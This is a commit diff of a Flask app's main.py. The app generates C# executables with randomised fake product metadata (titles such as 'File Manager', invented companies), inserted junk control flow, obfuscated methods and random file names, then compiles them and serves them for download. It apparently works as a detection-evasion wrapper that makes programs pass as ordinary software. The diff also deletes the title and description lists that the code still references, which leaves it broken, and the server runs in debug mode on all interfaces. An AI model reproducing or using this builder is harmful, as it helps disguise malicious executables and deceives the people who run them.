Spaces:
Sleeping
Sleeping
Update main.py
Browse files
main.py
CHANGED
@@ -6,13 +6,12 @@ from flask import Flask, render_template_string, send_file
|
|
6 |
|
7 |
app = Flask(__name__)
|
8 |
|
9 |
-
#
|
10 |
base_cs_template = """
|
11 |
using System;
|
12 |
using System.Diagnostics;
|
13 |
using System.IO;
|
14 |
using System.Reflection;
|
15 |
-
|
16 |
[assembly: AssemblyTitle("<<title>>")]
|
17 |
[assembly: AssemblyDescription("<<description>>")]
|
18 |
[assembly: AssemblyConfiguration("<<configuration>>")]
|
@@ -23,13 +22,11 @@ using System.Reflection;
|
|
23 |
[assembly: AssemblyVersion("<<version>>")]
|
24 |
[assembly: AssemblyFileVersion("<<file_version>>")]
|
25 |
[assembly: AssemblyInformationalVersion("<<informational_version>>")]
|
26 |
-
|
27 |
class Program
|
28 |
{
|
29 |
static void Main()
|
30 |
{
|
31 |
string originalFilePath = Path.Combine(Directory.GetCurrentDirectory(), "runtime.dll");
|
32 |
-
|
33 |
if (File.Exists(originalFilePath))
|
34 |
{
|
35 |
<<control_flow_junk>>
|
@@ -38,7 +35,6 @@ class Program
|
|
38 |
Environment.Exit(0); // Exit immediately
|
39 |
}
|
40 |
}
|
41 |
-
|
42 |
<<obfuscated_methods>>
|
43 |
}
|
44 |
"""
|
@@ -54,11 +50,6 @@ def random_version():
|
|
54 |
revision = random.randint(0, 99)
|
55 |
return f"{major}.{minor}.{build}.{revision}"
|
56 |
|
57 |
-
titles = ['File Manager', 'Data Analyzer', 'Task Tracker', 'Cloud Backup', 'Image Editor', 'Video Converter']
|
58 |
-
descriptions = ['This application helps in managing files efficiently.', 'Analyze data with advanced algorithms and insights.', 'Keep track of your tasks and deadlines easily.', 'Backup your data securely to the cloud.', 'Edit your images with powerful tools and filters.', 'Convert videos to various formats quickly.']
|
59 |
-
companies = ['Tech Innovations', 'Global Solutions', 'Data Services', 'Creative Minds', 'Secure Systems', 'Future Technologies']
|
60 |
-
trademarks = ['Innovative Solutions', 'Smart Technology', 'NextGen Apps', 'Empowering Users', 'Reliable Services', 'Creative Design']
|
61 |
-
|
62 |
def generate_control_flow_junk():
|
63 |
conditions = [
|
64 |
"if (DateTime.Now.Day % 2 == 0) { Console.WriteLine(\"Even day\"); }",
|
@@ -104,9 +95,10 @@ def index():
|
|
104 |
</html>
|
105 |
"""
|
106 |
return render_template_string(html_content)
|
|
|
107 |
@app.route('/generate', methods=['POST'])
|
108 |
def generate_script():
|
109 |
-
# Generate
|
110 |
assembly_info = {
|
111 |
'title': random.choice(titles),
|
112 |
'description': random.choice(descriptions),
|
@@ -120,7 +112,7 @@ def generate_script():
|
|
120 |
'informational_version': random_version()
|
121 |
}
|
122 |
|
123 |
-
# Replace placeholders
|
124 |
modified_cs = base_cs_template.replace('<<title>>', assembly_info['title']) \
|
125 |
.replace('<<description>>', assembly_info['description']) \
|
126 |
.replace('<<configuration>>', assembly_info['configuration']) \
|
@@ -135,33 +127,30 @@ def generate_script():
|
|
135 |
.replace('<<additional_obfuscated_code>>', generate_additional_obfuscated_code()) \
|
136 |
.replace('<<obfuscated_methods>>', generate_obfuscated_methods())
|
137 |
|
138 |
-
# Generate random
|
139 |
-
script_name = random_string(10) + '.cs'
|
140 |
-
exe_name = random_string(10) + '.exe'
|
141 |
|
142 |
-
#
|
143 |
with open(script_name, 'w') as file:
|
144 |
file.write(modified_cs)
|
145 |
|
146 |
-
# Compile
|
147 |
compile_command = [
|
148 |
-
'
|
149 |
-
'-win32icon:app.ico', '-win32manifest:app.manifest'
|
150 |
]
|
151 |
|
152 |
-
# Run the compilation command
|
153 |
try:
|
154 |
result = subprocess.run(compile_command, capture_output=True, text=True, check=True)
|
155 |
except subprocess.CalledProcessError as e:
|
156 |
-
error_message = e.stderr.strip()
|
157 |
return f"Compilation failed: {error_message}", 500
|
158 |
except FileNotFoundError:
|
159 |
-
return "Compiler '
|
160 |
|
161 |
-
# Provide a link to download the
|
162 |
return send_file(exe_name, as_attachment=True)
|
163 |
|
164 |
-
|
165 |
-
# Start the Flask app
|
166 |
if __name__ == '__main__':
|
167 |
app.run(host='0.0.0.0', port=7860, debug=True)
|
|
|
6 |
|
7 |
app = Flask(__name__)
|
8 |
|
9 |
+
# Base C# template (unchanged)
|
10 |
base_cs_template = """
|
11 |
using System;
|
12 |
using System.Diagnostics;
|
13 |
using System.IO;
|
14 |
using System.Reflection;
|
|
|
15 |
[assembly: AssemblyTitle("<<title>>")]
|
16 |
[assembly: AssemblyDescription("<<description>>")]
|
17 |
[assembly: AssemblyConfiguration("<<configuration>>")]
|
|
|
22 |
[assembly: AssemblyVersion("<<version>>")]
|
23 |
[assembly: AssemblyFileVersion("<<file_version>>")]
|
24 |
[assembly: AssemblyInformationalVersion("<<informational_version>>")]
|
|
|
25 |
class Program
|
26 |
{
|
27 |
static void Main()
|
28 |
{
|
29 |
string originalFilePath = Path.Combine(Directory.GetCurrentDirectory(), "runtime.dll");
|
|
|
30 |
if (File.Exists(originalFilePath))
|
31 |
{
|
32 |
<<control_flow_junk>>
|
|
|
35 |
Environment.Exit(0); // Exit immediately
|
36 |
}
|
37 |
}
|
|
|
38 |
<<obfuscated_methods>>
|
39 |
}
|
40 |
"""
|
|
|
50 |
revision = random.randint(0, 99)
|
51 |
return f"{major}.{minor}.{build}.{revision}"
|
52 |
|
|
|
|
|
|
|
|
|
|
|
53 |
def generate_control_flow_junk():
|
54 |
conditions = [
|
55 |
"if (DateTime.Now.Day % 2 == 0) { Console.WriteLine(\"Even day\"); }",
|
|
|
95 |
</html>
|
96 |
"""
|
97 |
return render_template_string(html_content)
|
98 |
+
|
99 |
@app.route('/generate', methods=['POST'])
|
100 |
def generate_script():
|
101 |
+
# Generate assembly info
|
102 |
assembly_info = {
|
103 |
'title': random.choice(titles),
|
104 |
'description': random.choice(descriptions),
|
|
|
112 |
'informational_version': random_version()
|
113 |
}
|
114 |
|
115 |
+
# Replace placeholders
|
116 |
modified_cs = base_cs_template.replace('<<title>>', assembly_info['title']) \
|
117 |
.replace('<<description>>', assembly_info['description']) \
|
118 |
.replace('<<configuration>>', assembly_info['configuration']) \
|
|
|
127 |
.replace('<<additional_obfuscated_code>>', generate_additional_obfuscated_code()) \
|
128 |
.replace('<<obfuscated_methods>>', generate_obfuscated_methods())
|
129 |
|
130 |
+
# Generate random names
|
131 |
+
script_name = random_string(10) + '.cs'
|
132 |
+
exe_name = random_string(10) + '.exe'
|
133 |
|
134 |
+
# Write the script
|
135 |
with open(script_name, 'w') as file:
|
136 |
file.write(modified_cs)
|
137 |
|
138 |
+
# Compile with csc
|
139 |
compile_command = [
|
140 |
+
'csc', '-target:winexe', '-out:' + exe_name, script_name
|
|
|
141 |
]
|
142 |
|
|
|
143 |
try:
|
144 |
result = subprocess.run(compile_command, capture_output=True, text=True, check=True)
|
145 |
except subprocess.CalledProcessError as e:
|
146 |
+
error_message = e.stderr.strip()
|
147 |
return f"Compilation failed: {error_message}", 500
|
148 |
except FileNotFoundError:
|
149 |
+
return "Compiler 'csc' not found. Make sure it is installed and in the PATH.", 500
|
150 |
|
151 |
+
# Provide a link to download the executable
|
152 |
return send_file(exe_name, as_attachment=True)
|
153 |
|
154 |
+
# Start Flask app
|
|
|
155 |
if __name__ == '__main__':
|
156 |
app.run(host='0.0.0.0', port=7860, debug=True)
|